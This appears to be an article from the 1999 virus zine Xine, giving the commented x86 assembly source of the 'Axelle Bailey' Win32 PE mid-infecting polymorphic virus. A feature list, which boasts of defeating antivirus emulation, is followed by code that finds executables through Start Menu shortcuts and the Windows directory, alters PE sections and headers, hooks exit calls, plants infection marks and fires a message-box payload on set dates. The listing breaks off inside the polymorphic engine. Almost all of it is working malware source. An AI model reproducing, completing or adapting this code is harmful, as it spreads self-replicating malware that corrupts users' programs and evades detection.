Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 202

eZine's profile picture
Published in 
Xine
 · 6 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 202 |
\-----------------------------/

;
; AxelleBailey (c) IKX MegaWare 1999
;
; A Win32 PE Body-Polymorphic Mid-Infector using ExitPoint Tech...
;
;
; About the Axelle Bailey Virus
;
; - As you can saw, avers have many problems with Midinfector, in fact,
; they can't perform a 100% sure disinfection of them. Despite of that, they
; can't clean infected programs. Now we see that they can't detect polymorphics
; midinfectors virus. So, I can't imagine how they will take that virus...
;
; - When a Portable Exe is opened, it look the last section, if it's
; equal .reloc, then it overwrite it, else it add the virus size + 500 and
; rebuild sections, header and all the staff...
;
; - This virus doesn't infect in a common way, in fact, he look first for
; cave, like a series of int 3 in the code segment, it happend often now,
; both of Microsoft and Borland software that are **Often** distributed.
;
; - After it, the virus scan the import after ExitProcess or Exit. When
; found, it calculate where the adress will be in memory. After it scan for
; call dword ptr [x] or jump dword ptr [x]. If a call is found, it save the
; Adress of a call, if a jump dword ptr [x], then it rescan the code section
; for getting call to it
;
; - If nothing found, then it scan near the entrypoint for call or jumps
; if found, then they are hooked...
;
; - When found, it generate a poly in memory, the poly will be droped in
; cave followed by jumps, so, I will be happy to see the emulation of this
; virus. I tested with NODice32 that is so powerfull hi Lethal ;). Nothing
; found. If there's no more cave, then it drop the poly after the code, it's
; why I put 500 of more size.
;
; - Above all, this virus isn't really finished, but it's his first
; version, it have fixed most compatibility problems, but PE infectors are
; often unstable or sometime don't get control or such thing, you know the
; fuck...
;
; About Axelle Bailey:
;
; mmm, Nothing to say...
;
; Caracteristics:
;
; * On 9 Octobre it launch paylaod
; Creating 2 times more Messagebox on closing 1
; * On Friday 13, it display Greets screen (MessageBox)
; * Have debug feature if c:\debug.txt present
; Ask you if you want to infect PE
; * Find PE via a new way, using explorer's registry
; - EXEs in the Start Menu will be infected
; - .lnk file analysis
; * Alternate sometime and infect the Windows Directory
; * Infect only 10 files per run
; * Use of Memory Maped Files...
; * Get API via the Upcase (ie:CFA for CreateFileA)
; * Append virus to last section
; * if last section name=.reloc then overwrite it
; * Invisible mark in the PE header (No fixed string)
; * Look for Int 3/NOP cave in the code
; * If found drop poly over caves, else after the body
; * Able to put part in code and part near virus body
; * Drop a 32 bit poly with variable regs
; * Poly assume rol/inc/dec/neg/not/add/sub/xor
; * Look and hook for Call ExitProcess on code section
; (the standard method)
; * Look and hook for Call MSVCRT!exit on code section
; (the win98 way of Exiting program)
; * Look/recursive trace/hook ExitProcess call-to-jump-to
; (specially for Borland compiled software)
; * Look and hook for calls/jumps near the entrypoint
; (for strange programs...)
; * The virus can return to host(or api) via different
; way , like Alicia

.386
locals
.model flat

extrn ExitProcess:Proc
extrn ReadFile:Proc

.data
dummy dd ?

.code

HOST: jmp start0
HOST2: push 0
call ExitProcess

virus_seg segment para public 'virus'
assume cs:virus_seg

Start0:
start0:
Start:
start:
pushad
Odelta: call Delta0

Delta0: pop ebp
sub ebp,offset Odelta+5 ; get delta

push dword ptr [Ebp+ReturnWay] ; save return information
push dword ptr [ebp+ReturnData] ; may be overwritten

lea eax,[ebp+startlist] ; get all Kernel32 apis
mov dword ptr [ebp+TargetCRC],eax ; and put then there
lea eax,[ebp+crc_list]
call GetProcI ; get kernel32 and inits apis

lea eax,[ebp+dllname]
call LoadLibrary ; load library

push eax
mov edx,eax

lea eax,[ebp+advapilist] ;
mov dword ptr [ebp+TargetCRC],eax ; put it there
lea eax,[ebp+advapi] ; name of apis
call GetProcB ; get all apis needed
; in advapi32.dll

pop eax
call checkforunload ; check if we have to unload
; from the memory advapi32
lea eax,[ebp+dllname2]
call LoadLibrary ; lload User32

push eax
mov edx,eax

lea eax,[ebp+userapilist]
mov dword ptr [ebp+TargetCRC],eax ; save it there
lea eax,[ebp+userapi] ; get the Messageboxa
call GetProcB ; get it!

pop eax
call checkforunload ;

jmp FindFirst00

dllname: db 'ADVAPI32.DLL',0
dllname2: db 'USER32.DLL',0

LoadLibrary:

mov byte ptr [ebp+unloadflag],0 ; reset unload flag

push eax
push eax
call dword ptr [ebp+GetModuleHandle] ; check if the process have it
; in his memory
pop edx

cmp eax,0
jne thenwehavedll ; if no

push edx
call dword ptr [ebp+LoadLibraryA] ; then load it but we will
mov byte ptr [ebp+unloadflag],1 ; have to unload it

thenwehavedll:

ret

checkforunload:

cmp byte ptr [ebp+unloadflag],1 ; check if we have to unload it
jne thenskipunload

push eax
call dword ptr [ebp+FreeLibrary] ; do it!

thenskipunload:
ret

unloadflag: db 0

crc_list:
ApiList:

db 'FFFA',0 ; FindFirstFileA
db 'FNFA',0 ; FindNextFileA
db 'CFA',0 ; CreateFileA
db 'CH',0 ; CloseHandle
db 'WF',0 ; WriteFileA
db 'RF',0 ; ReadFileA
db 'SFP',0 ; SetFilePointer
db 'SFT',0 ; SetFileTime
db 'GFS',0 ; GetFileSize
db 'CFMA',0 ; CreateFileMapping
db 'MVOF',0 ; MapViewOfFile
db 'UVOF',0 ; UnMapViewOfFile
db 'VA',0 ; VirtualAlloc
db 'VF',0 ; VirtualFree
db 'LLA',0 ; LoadLibraryA
db 'FC',0 ; FindClose
db 'FL',0 ; FreeLibrary
db 'GST',0 ; GetSystemTime
db 'CT',0 ; CreateThread
db 'GWDA',0 ; GetWindowsDirectoryA
db 'GCDA',0 ; GetCurrentDirectoryA
db 'SCDA',0 ; SetCurrentDirectoryA
db 'GMHA',0 ; GetModuleHandleA
db 'EP',0
advapi:
db 'ROKA',0 ; RegOpenKeyA
db 'RQVEA',0 ; RegQueryValueExA
db 'RCK',0 ; RegCloseKey
userapi:
db 'MBA',0 ; MessageBoxA
db -1 ; Finish! :)))

Greets: db 'The Axelle Bailey/iKx/ Virus - OreZRatS [Ikx] (C) 1999',10,13,10,13
db 'Greets to: Reptile and SSR for the ideas',10,13
db ' Bozo for the motivations',10,13
db ' In honor of Axelle Bailey and',10,13,10,13
db 'Dedicated to Federrico ;)',0

debugtxt: db 'c:\debug.txt',0 ; debug file name
debugopt: db 0

payload0: ; this is for 1st run

xor ebp,ebp
call payloadA ; display the MessageBox
push 0
call dword ptr [ebp+ExitProc] ; finish the program

payloadA:

push 0
lea eax,[ebp+Caption] ; something, no importence in
push eax ; fact...
lea eax,[ebp+Greets] ; greets
push eax
push 0

call dword ptr [ebp+MessageBoxA] ; display the greets
ret

FindFirst00:

lea eax,dword ptr [ebp+File_Data]
push eax
call dword ptr [ebp+GetSystemTime] ; get date , time , etc etc...

cmp word ptr [ebp+File_Data+4],5 ; check for friday
jne timenext

cmp word ptr [ebp+File_Data+6],13 ; 13 of the month
jne timenext

call payloadA ; if so then display the greets

timenext:

cmp word ptr [ebp+File_Data+2],10 ; if 9 octobre then
jne timenext2

cmp word ptr [ebp+File_Data+6],9 ; launch payload
jne timenext2 ; an annoying one :]

mov dword ptr [ebp+omnione],0 ; reset all constants
mov dword ptr [ebp+Active],1
mov dword ptr [ebp+Theorical],1

payload1:

call getdelpay ; get delta coz we will be in
getdelpay: pop ebp ; a new thread and value will
sub ebp,offset getdelpay ; change...

inc dword ptr [ebp+omnione]

push 0
lea eax,[ebp+annoyingcode]
push eax
lea eax,[ebp+annoyinglabel]
push eax
push 0
call dword ptr [ebp+MessageBoxA] ; display the annoying box

dec dword ptr [ebp+Active] ; here we decrement if the ok
mov eax,dword ptr [ebp+Theorical] ; button was pushed
add dword ptr [ebp+Theorical],eax ; make two time more messagebox
;inc dword ptr [ebp+Theorical]

thencreatone:

lea eax,[ebp+identifier]
push eax
push 0
push 0
lea eax,[ebp+payload1]
push eax
push 0
push 0
call dword ptr [ebp+CreateThread] ; create the new thread

inc dword ptr [ebp+Active]
mov eax,dword ptr [ebp+Theorical]
cmp dword ptr [ebp+Active],eax
jne thencreatone ; and then do it

jmp payload1

annoyingcode: db 'A kiss to!',0
annoyinglabel: db 'A kiss to Axelle Bailey !',0 ; a kiss to this
identifier: dd 79797979h ; incredible wome
omnione: dd 0
Active: dd 1
Theorical: dd 1

timenext2:

mov byte ptr [ebp+debugopt],0 ; reset debug option
; flag
lea eax,[ebp+debugtxt]
call Open_File_F ; try to open that file
jz thennodebug

mov byte ptr [ebp+debugopt],1 ; if yah then set debug

thennodebug:


mov al,byte ptr [ebp+File_Data+12] ;check is sec=min(and)8
and al,8

and byte ptr [ebp+File_Data+14],8
cmp byte ptr [ebp+File_Data+14],al
jne timenext3 ; if so then infect
; windows dir
mov eax,2048
call Alloc
push eax ; just for saving the dirs etc...

push eax
push 512
call dword ptr [ebp+GetCurrentDirectoryA] ; save it

pop eax ;+4
push eax ;-4

add eax,512
push eax ;-4
push 512
push eax
call dword ptr [ebp+GetWindowsDirectoryA] ; get the windows dir.
call dword ptr [ebp+SetCurrentDirectoryA] ; set it as current

pop eax ;+4
add eax,1024

push eax ;-4
push eax
lea eax,[ebp+searchfor]
push eax
call dword ptr [ebp+FindFirstFile] ; search 1st file in it
mov dword ptr [ebp+hourhandler],eax

gotothere:

pop edx
push edx ; save this for FFNext
push edx
push dword ptr [ebp+hourhandler]
add edx,2Ch ; point to name is DTA32
call Testinfect ; infect it

call dword ptr [ebp+FindNextFile]
cmp eax,0
jne gotothere ; if not zero then loop again

pop eax
sub eax,1024
push eax
call dword ptr [ebp+SetCurrentDirectoryA] ; set the old directory

jmp Error0 ; return to host

hourhandler: dd 0
searchfor: db '*.exe',0

timenext3:

call FindFirst ; search on the start
; meny
Error0:

pop dword ptr [ebp+ReturnData] ; reget all those
pop eax ; datas
add eax,ebp
jmp eax ; jump over there...

;
; Initialise the apilist vio GetProcAddress
;

GetProcB:
push ebp
mov edi,edx
mov dword ptr [ebp+ApiNames],eax
jmp getprocC ; if not kernel32 dll

GetProcI:
push ebp
mov dword ptr [ebp+ApiNames],eax ; if 1st run with kernel

;
; Secure way to get kernel address from winNT - this coz kernel declared as
; Process...
;

GetKernelI:

mov edi,dword ptr [ebp+startscan]
mov esi,dword ptr [ebp+ImageBase] ; get import in mem

openscan:

mov eax,dword ptr [edi+12]
cmp eax,0
je ApiFinishScan

cmp dword ptr [esi+eax],'NREK' ;'KERN'
jne scannext2
cmp dword ptr [esi+eax+4],'23LE' ;'EL32'
jne scannext2

add esi,dword ptr [edi+16]
mov esi,dword ptr [esi]

foundloop1:

cmp dword ptr [esi],685421cdh ; look for 'This'
je founded
dec esi
jmp foundloop1

founded:
cmp word ptr [esi],'MZ'
je founded2
cmp word ptr [esi],'ZM' ; looko for exe start
je founded2
dec esi
jmp founded

scannext2:
add edi,20

jmp openscan

ApiFinishScan:

sub eax,-1
pop ebp
ret

startscan: dd 00405000h
ImageBase: dd 00400000h

founded2:
mov dword ptr [ebp+startscan],esi
mov edi,esi

getprocC:

mov ebx,dword ptr [edi+3Ch]
add ebx,edi ; ebx point to the PE header
; In fact it's allways PE
; I skiped the MZ and PE
; signature check coz if it's
; not, Kernel can't be loaded :]
mov esi,dword ptr [ebx+120] ; esi point to the Export
lea esi,[esi+edi] ; zone

mov ecx,dword ptr [esi+24] ; ecx = number of export
mov ebx,dword ptr [esi+32] ; ebx point to the name offset
add ebx,edi ; table

Scanstring:


mov edx,dword ptr [ebx] ; edi point to the 1st
add edx,edi ; name

loophere:

push ebx
push ecx

mov eax,dword ptr [esi+24] ; get
sub eax,ecx ; name offset
shl eax,2
lea edx,[ebx+eax]
mov edx,[edx]
add edx,edi

lea eax,[ebp+tazoffset]
mov dword ptr [ebp+nameoffset],eax

xor eax,eax
xor ecx,ecx

mov al,byte ptr [edx]

getnamecrc:

mov cl,byte ptr [edx] ; look and take

test ecx,ecx
jz test_crcs ; only upper case

cmp cl,91
ja dontputit

push esi
mov esi,dword ptr [ebp+nameoffset]
mov byte ptr [esi],cl
mov byte ptr [esi+1],0
inc byte ptr [ebp+nameoffset] ; save it to buffer
pop esi

dontputit:

inc edx
jmp getnamecrc

test_crcs:

pop ecx
push ecx
push ebp

inc edx
mov eax,dword ptr [ebp+ApiNames]
xor ebx,ebx
doomed:
cmp byte ptr [eax],-1 ; if name equal -1
je testnext ; then finish

lea edx,[ebp+tazoffset] ; check buffer with
call testname ; API list
jc itsokay21 ; if same then get

inc ebx
jmp doomed

itsokay21:

mov eax,dword ptr [esi+24]
sub eax,ecx ; get VA of API
shl eax,1

push ebx
add eax,dword ptr [esi+36] ; table RVA
add eax,edi ; Add Rva
xor ebx,ebx ; set ebx to 0
mov bx,word ptr [eax] ;
xchg eax,ebx
pop ebx

shl eax,2

add eax,dword ptr [esi+28]
add eax,edi

mov eax,dword ptr [eax] ; calculations
add eax,edi
dec ebx

pop ebp
mov ecx,dword ptr [ebp+TargetCRC]
lea ecx,[4*ebx+ecx]
mov dword ptr [ecx+4],eax ; put it over the table
push ebp
testnext:
pop ebp
pop ecx
pop ebx
loop loophere2

pop ebp
ret

loophere2: jmp loophere

testname:

checkifcorrectname:

push esi
push edi

mov esi,eax ; this just test if eax$ = edx$
mov edi,edx

dec edi
dec esi

thatflag0:

inc esi
inc edi

cmp byte ptr [esi],0
je thenbybye0

push eax
mov al,byte ptr [esi]
cmp byte ptr [edi],al
pop eax
jne thenboombybye

jmp thatflag0

thenbybye0:

cmp byte ptr [edi],0
jne thenboombybye
inc esi
inc esi
mov eax,esi
add eax,-1
pop edi
pop esi
ret

thenboombybye:

cmp byte ptr [esi],0
je thenboomby0
inc esi
jmp thenboombybye

thenboomby0:

inc esi
mov eax,esi
xor edi,edi
pop edi
pop esi
ret

ApiNames: dd 0
TargetCRC: dd 0
nameoffset: dd offset tazoffset
tazoffset: db 20 dup (0)

FindFirst:

mov byte ptr [ebp+Infectioncounter],0

mov eax,25000
call Alloc ; alloc a lot for recursive scan
cmp eax,0 ; and directory tree
jc dontdothat
mov dword ptr [ebp+pseudomem2],eax

push eax
push eax
push eax

push eax
lea eax,[ebp+RegName] ; what we need
push eax
push 80000001h
call dword ptr [ebp+RegOpenKeyA] ; open the key
; return the handle
pop ebx
mov eax,ebx

add eax,4 ; save handle
mov dword ptr [eax],4096-8 ; fix where we need in memory
push eax
add eax,8
push eax
sub eax,4
push eax
push 0
lea ecx,[ebp+SubRegName] ; get the needed subkey
push ecx
push dword ptr [ebx] ; push the hanlde
call dword ptr [ebp+RegQueryValueExA]

pop eax
push dword ptr [eax]
call dword ptr [ebp+RegCloseKey] ; and close the registry

pop eax
add eax,12

loopit:

mov dword ptr [ebp+ShellDesktop],eax ; init the directory got
add eax,512
mov dword ptr [ebp+Findit],eax ; set that we want DTA32 on
sub eax,512 ; 512 byte later than previous

theninceax1st:
inc eax
cmp byte ptr [eax],0 ; get last caracter
jne theninceax1st

cmp byte ptr [eax-1],'\' ;look if fixing it as directory
je thendontfixdir

fixdir:

mov byte ptr [eax],'\' ; then do it
inc eax

thendontfixdir:

mov dword ptr [ebp+FindZero],eax ; Find Zero...

mov edi,eax
lea esi,[ebp+fixzone]
mov ecx,4
repz movsb

thenjumpup:

push dword ptr [ebp+Findit] ; get *.*
push dword ptr [ebp+ShellDesktop]
call dword ptr [ebp+FindFirstFile] ; find in fact .lnk and dirs
mov edx,eax

testinext:

mov eax,dword ptr [ebp+Findit]
cmp byte ptr [eax+2ch],'.' ; if . or .. found
je skiprecursive

lea esi,[eax+2ch] ; point to names

call infectINF ; analysing inf files

mov eax,dword ptr [eax]
cmp eax,10h
jne skiprecursive ;if not a dir then dont go
; deeper
push edx ; save infos for FFNext
push dword ptr [ebp+FindZero]

cmp byte ptr [ebp+arboricol],7 ; scan only 6 directory deeply
je thengoup

mov eax,dword ptr [ebp+Findit]
add eax,1024
mov dword ptr [ebp+Findit],eax ; set where we want much datas

mov edi,dword ptr [ebp+FindZero]

thenincit:

mov al,byte ptr [esi]
mov byte ptr [edi],al

inc esi
inc edi
cmp al,0
jne thenincit ; add the dir to the current
; directory buffer
dec edi ; ie: c:\win\start\apps\ +
; draw\ see ?
mov eax,edi
call fixdir ; recursive scan

mov eax,dword ptr [ebp+Findit]
sub eax,1024
mov dword ptr [ebp+Findit],eax ; restore DTA32

thengoup:

pop dword ptr [ebp+FindZero]
pop edx ; restore for ffnext

skiprecursive:

push edx
push dword ptr [ebp+Findit]
push edx
call dword ptr [ebp+FindNextFile] ; do findnext
pop edx
cmp eax,0
jne testinext

dontdothat:

push 4000h
push 2000
push dword ptr [ebp+pseudomem2]
call dword ptr [ebp+GlobalFree] ; delocate memory...

ret ; when finish then return

infectINF:

push edx
push eax
push esi ; save for the boucle of
; dir scan
thatoom:
inc esi
cmp byte ptr [esi],0
je thatam
cmp byte ptr [esi],'.' ; look for .LNK or .lnk files
jne thatoom

cmp dword ptr [esi+1],'KNL'
je thatamok

cmp dword ptr [esi+1],'knl'
jne thatam

thatamok:

pop esi
push esi

mov edi,dword ptr [ebp+FindZero]
mov byte ptr [edi],'\' ; set it as dir

thenincitbis:

mov al,byte ptr [esi]
mov byte ptr [edi],al

inc esi
inc edi
cmp al,0
jne thenincitbis ; copy file name

mov eax,dword ptr [ebp+ShellDesktop]
call Open_File_F ; open it
jz thatam ; problem ? skip !

mov eax,2000
call Alloc ; allocate memory
mov dword ptr [ebp+pseudomem],eax
push eax

mov ecx,2000
mov edx,eax
call Read_file ; Read 2000 bytes

push 0
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+GetFileSize] ; but scan only file length...

mov ecx,eax
pop ebx
push ebx
push ecx

add eax,ebx

decitdecit:
thatgooz:

dec eax
cmp word ptr [eax],'\:' ; get the directory environment
je dectetdir ; when found, just keep disk
loop decitdecit ; variable

pop eax
pop ecx
jmp finishscan

driveletter: dw 0

dectetdir:

dec eax
mov bx,word ptr [eax] ; detect it

pop ecx
pop eax
add eax,ecx

thenscannext2:

dec eax
cmp dword ptr [eax],'exe' ; look for exe,0 or EXE,0 in
je thenlookthisone ; the lnk file

cmp dword ptr [eax],'EXE'
je thenlookthisone ; found the scan this file

loop thenscannext2 ; no found?

jmp finishscan

thenlookthisone:

dec eax
cmp word ptr [eax],'\:' ; check what kind of
je thenlookthistwo ; directory windows build
cmp word ptr [eax],'\.' ; in the lnk file
je thenlookthistwo ; 3 possibility: nothing
cmp byte ptr [eax],0 ; the ..\
je thenlookthistwo2 ; or the C:\
loop thenlookthisone

jmp finishscan

thenlookthistwo2:
mov byte ptr [eax],'\' ; if nothing then add $:\
dec eax

thenlookthistwo:

dec eax ; add $:
mov word ptr [eax],bx

mov edx,eax
call Testinfect ; test infection but infection
; will not work with prebuilded
; lnk on windows installing
finishscan: ; :[

push 4000h
push 2000
push dword ptr [ebp+pseudomem]
call dword ptr [ebp+GlobalFree] ; delocate memory...

call Close_file

thatam:

pop esi
pop eax
pop edx
ret

Testinfect:

push dword ptr [ebp+CurrentHandle] ; save handle of the .lnk file
push edx

cmp byte ptr [ebp+Infectioncounter],10 ; check if we have infected 10
je thendontinfect

cmp byte ptr [ebp+debugopt],1 ; look for debug option
jne thendontdo

push 1
lea eax,[ebp+Caption]
push eax
push edx
push 0

call dword ptr [ebp+MessageBoxA] ; messageboxit with filename

cmp eax,2 ; if Cancel
je thendontinfect ; then don't infect

thendontdo:

pop edx
push edx

push edx
call FindFirstFileF ; get infos over the file
pop edx

cmp byte ptr [ebp+File_Data+4+4],01110111b
je Finished ; look for time/date stamp

mov eax,edx
call Open_File_F
jz Finished

call infection ; test and infect it

cmp dword ptr [ebp+File_Data+4],0
jne thendontfixthat ; see if valid time_stamp32

mov eax,dword ptr [ebp+File_Data+4+8] ; no then make it
mov dword ptr [ebp+File_Data+4],eax
mov eax,dword ptr [ebp+File_Data+4+8+4]
mov dword ptr [ebp+File_Data+4+4],eax

thendontfixthat:

mov byte ptr [ebp+File_Data+4+4],01110111b ; set time stamp

lea eax,[ebp+File_Data+4+8+8]
push eax
sub eax,8 ; from patched DTA32
push eax
sub eax,8
push eax
push dword ptr [ebp+CurrentHandle]

call dword ptr [ebp+SetFileTime] ; set the new timestamp

Finished:

call Close_file

thendontinfect:

pop edx
pop dword ptr [ebp+CurrentHandle] ; reput the handle

ret


Caption: db 'VirusInfo - Ready for infection',0

; variables...

Infectioncounter: db 0
arboricol: db 0
fixzone: db '*.*',0
RegName: db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
SubRegName: db 'Start Menu',0
pseudomem: dd 0
pseudomem2: dd 0
ShellDesktop: dd 0
Findit: dd 0
FindZero: dd 0

;
; Overwriters! OVERWRITING IS ThE SOLUTiON
; Yeah! OVERWRITIIIIIIIIIIIING!!!!
;

handlesize1 equ 4096
handlesize2 equ 256+Fin-Start+500+40

infection:

call mapit
mov esi,eax ; map the file in memory

;cmp eax,1000h
;jb thenproblem

mov dword ptr [ebp+memory1],0

cmp word ptr [eax],'ZM' ; check if exe
jne thenproblem

cmp byte ptr [eax+24],'@' ; check if windows
jne thenproblem

mov ebx,dword ptr [eax+03Ch]
add ebx,eax
mov dword ptr [ebp+PEBase],ebx ; save memory location of PE header

cmp word ptr [ebx],'EP' ; check if PE
jne thenproblem

mov al,byte ptr [ebx+88] ; check if
add al,byte ptr [ebx+89] ; file already infected
cmp al,'S'
je thenproblem

sub al,byte ptr [ebx+89]
mov ah,'S'
sub ah,al
mov byte ptr [ebx+89],ah ; the stamp is variable coz depend from
; ebx+88

mov eax,dword ptr [ebx+52]
mov dword ptr [ebp+ImageBase],eax ; save Imagebase

add eax,dword ptr [ebx+128]
mov dword ptr [ebp+startscan],eax ; save where to scanning import
sub eax,dword ptr [ebx+128]

lea edx,[ebx+0F8h]
mov dword ptr [ebp+SectionOffset],edx ; and section offset

call Betadropvirus ; look if we can drop a virus image
cmp eax,-1 ; if so, rebuild header
je thenproblem ; if not

call cavescanner ; scan caves
call thahook ; hook midinfection
call CreateProPoly ; and drop poly
jc thenproblem

; now connect virus entry point and poly entrypoint

mov edx,dword ptr [ebp+Fixupentry]
mov eax,edx
call Offset2Address
mov ebx,eax
mov eax,dword ptr [ebp+NEWEntryPoint] ; then we drop
sub eax,ebx ; that value after
sub eax,4 ; this to have the call
mov dword ptr [edx],eax ; polyentrypoint

inc byte ptr [ebp+Infectioncounter]

Unload:

call UnloadMemory ; unload memory

thenproblem:

call unmapit ; un map the file
ret

UnloadMemory:

cmp byte ptr [ebp+memory1],1 ; check if cavemem were loaded
jne dontunloadmemory1

push 4000h
push handlesize1
push dword ptr [ebp+memhandle1]
call dword ptr [ebp+GlobalFree] ; unload the Cave memory

dontunloadmemory1:

cmp byte ptr [ebp+memory2],1 ; check if polymem were loaded
jne dontunloadmemory2

push 4000h
push handlesize2
push dword ptr [ebp+memhandle2]
call dword ptr [ebp+GlobalFree] ; unload polymem

dontunloadmemory2:

ret

; variables...

memhandle1: dd 0
memhandle2: dd 0
memory1: db 0
memory2: db 0

DropAddress: dd 0
DropOffset: dd 0
InfectorAddress: dd 0
InfectorPoly: dd 0

PEBase: dd 0
SectionOffset: dd 0
LastSection:
LastSectionOffset: dd 0

Betadropvirus:

mov edi,dword ptr [ebp+PEBase] ; get PE header
mov edx,dword ptr [ebp+SectionOffset] ; and section header

mov dword ptr [ebp+DropAddress],eax ; mov DropAddress ?
; don't remember the use of that
xor ecx,ecx
mov cx,word ptr [edi+6] ; get number of section

mov eax,edx ; eax point to section

fixtozero:

mov dword ptr [eax+24],0
mov dword ptr [eax+28],0
mov dword ptr [eax+32],0

add eax,40

loop fixtozero ; nullify reloc on each
; section
sub eax,40 ; we are N(section)-1
mov edx,eax

cmp dword ptr [eax],'ler.' ; if reloc ?
je thenoverwritelast

thenappendlast: ; yeah overwrite it

mov eax,dword ptr [edx+12]
add eax,dword ptr [edx+16]
mov dword ptr [ebp+DropAddress],eax ; set DropAddress
mov eax,dword ptr [edx+20]
add eax,dword ptr [edx+16]
mov dword ptr [ebp+DropOffset],eax ; set DropOffset

thengotolast:

push edx
mov ebx,edx
xor edx,edx

mov eax,dword ptr [ebx+16] ; fixup the physical
add eax,fin-start+500 ; size of last section
mov ecx,dword ptr [edi+60]
div ecx
inc eax
mul ecx
mov dword ptr [ebx+16],eax

xor edx,edx
mov eax,dword ptr [ebx+8] ; fixup the virtual
add eax,fin-start+500 ; size of last section
mov ecx,dword ptr [edi+56]
div ecx
inc eax
mul ecx
mov dword ptr [ebx+8],eax

xor edx,edx

mov eax,dword ptr [ebx+12] ; set new image size
add eax,dword ptr [ebx+8]
add eax,1000h

;add eax,fin-start+500
div ecx
inc eax
mul ecx
mov dword ptr [edi+80],eax

pop edx

mov dword ptr [edx+36],0c0000040h ; set as writable this
; section
mov dword ptr [edi+160],0
mov dword ptr [edi+164],0

ret

thenoverwritelast: ; so we don't overwrite
;
mov eax,dword ptr [edi+160]
cmp eax,dword ptr [edx+12]
jne thenappendlast

mov dword ptr [ebp+DropAddress],eax
call Address2Offset
sub eax,esi
mov dword ptr [ebp+DropOffset],eax ; fix drop offset = section offset

jmp thengotolast

Offset2RVA:

push edx

call Offset2Address ; call this one

mov edx,dword ptr [ebp+PEBase] ; add PEbase
add eax,dword ptr [edx+52]

pop edx
ret

Offset2Address: ; convert an offset to
; an adress of pe
push ebx
push ecx
push edx

mov edx,dword ptr [ebp+SectionOffset] ; scan over sections

thendetectnext:
push edx

mov ecx,dword ptr [edx+20] ; get where it start
add ecx,esi
mov edx,dword ptr [edx+16] ; where it finish
add edx,ecx
dec edx

cmp eax,edx
ja testnext01 ; scan if we are in

cmp eax,ecx
jb testnext01 ; if not loop again

pop edx

sub eax,esi
sub eax,dword ptr [edx+20]
add eax,dword ptr [edx+12] ; set the memory offset

pop edx
pop ecx
pop ebx
ret

testnext01:

pop edx ;look
add edx,40
cmp byte ptr [edx],0 ;next
jne thendetectnext ;section, if zero then don't...

pop edx
pop ecx
pop ebx

ret

Address2Offset:

push edx ebx ecx

mov edx,dword ptr [ebp+SectionOffset] ; conver Address2Offset
sub edx,40

loopithere:

add edx,40
cmp byte ptr [edx],0
je thenitsnotcorrect

mov ecx,dword ptr [edx+12] ; load memory start of section
mov ebx,ecx
add ebx,dword ptr [edx+8] ; load memory end of section
dec ebx

cmp eax,ebx
ja loopithere ; if eax > Virtual Address

cmp eax,ecx ; if eax < RVA then not correct
jb loopithere

loopithere0:

mov ebx,dword ptr [edx+20] ; add offset
sub eax,ecx

cmp eax,dword ptr [edx+16] ; check if we are in ?
ja thenitsnotcorrect

add ebx,eax

mov eax,ebx
add eax,esi ; add handle value

pop ecx ebx edx
ret

thenitsnotcorrect:

pop ecx ebx edx
ret

mapit:

push 0
push dword ptr [ebp+CurrentHandle] ; look apis reference
call dword ptr [ebp+GetFileSize]
add eax,fin-start0+500 ; allways open with size+500
mov edi,eax

mapasRead:

push edi

push 0
push edi
push 0
push 4
push 0
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+CreateFileMap] ; mapit
mov dword ptr [ebp+MapHandle1],eax

mapasRead2:

push 0
push 0
push 6
push dword ptr [ebp+MapHandle1]
call dword ptr [ebp+ViewMap] ; load mapit
mov dword ptr [ebp+MapHandle2],eax
ret

unmapit:

push dword ptr [ebp+MapHandle2]
call dword ptr [ebp+UnMap] ; close maps

push dword ptr [ebp+MapHandle1]
call dword ptr [ebp+Close] ; close maps

ret

Alloc:

push 040h
push 00100000h or 1000h or 2000h
add eax,111b
and eax,-4
push eax
push 0
call dword ptr [ebp+LocalAlloc] ; allocate memory..
ret

cavescanner:

mov dword ptr [ebp+cavenumber],0

mov eax,handlesize1
call Alloc ; alloc memory for this routine

cmp eax,0
jne saveitthat

xor eax,eax
inc eax
inc eax
add eax,-1 ; if can't then return with
ret ; carry

saveitthat:

mov byte ptr [ebp+memory1],1
mov dword ptr [ebp+memhandle1],eax ; save it for unload memory

mov dword ptr [ebp+caveoffset],eax ; save it for datas storing

mov edx,dword ptr [ebp+SectionOffset] ; look for .code or .text

mov eax,dword ptr [edx+36]
and eax,80000000h
cmp eax,80000000h ; if code writable
je disablecave ; then danger! -> compressors
; viruses...
mov eax,dword ptr [edx+20]
add eax,esi ;1st section is most case code
;section
mov ebx,eax
add ebx,dword ptr [edx+16] ; add the size

thenscanagain:

cmp dword ptr [eax],0CCCCCCCCh
je detectint3cave

;cmp dword ptr [eax],090909090h ; this one could be activated
;je detectnopcave ; but for security , I didn't

inc eax
doomingo77:
cmp eax,ebx
jb thenscanagain

ret

;detectzerocave: deactivated

;push ebx
;mov bl,0
;jmp deteccomhere

;detectnopcave:
;
;push ebx
;mov bl,090h
;jmp deteccomhere

detectint3cave: ; scan the CCh cave

push ebx

mov bl,0CCh

deteccomhere:

push ecx
push edx
push eax

thendoit:

xor ecx,ecx

looping0:
cmp byte ptr [eax],bl ; count number of CCh
jne unplusun ; there's (minimum 4)
inc eax
inc ecx
jmp looping0

unplusun:

mov edx,eax
pop eax

push edx
cmp byte ptr [eax-1],0C3h ; look if there's ret
je thendoit00

cmp byte ptr [eax-3],0C2h ; or retf2 before
jne nocave

thendoit00:

pop edx
push edx
sub edx,eax

cmp byte ptr [ebp+cavenumber],0FFh ; check if we found max
je overfound ; imagine on 4 megs programs...

inc byte ptr [ebp+cavenumber] ; increment it

mov ecx,dword ptr [ebp+caveoffset] ;

mov dword ptr [ecx],edx
mov dword ptr [ecx+4],eax
call Offset2Address
mov dword ptr [ecx+4+4],eax

add ecx,12
mov dword ptr [ebp+caveoffset],ecx ; save offset

mov eax,edx

overfound:

nocave:

pop eax ; restore it
pop edx
pop ecx
pop ebx
jmp doomingo77

disablecave:

mov byte ptr [ebp+cavedanger],1 ;
ret

; variables

cavenumber: db 0
cavedanger: db 0
caveoffset: dd 0

CreateProPoly:

mov word ptr [ebp+Registers],-1

mov eax,handlesize2
call Alloc ; alloc memory
cmp eax,0

jne thenthatat

inc eax
inc eax
add eax,-1
ret

thenthatat:

mov byte ptr [ebp+memory2],1
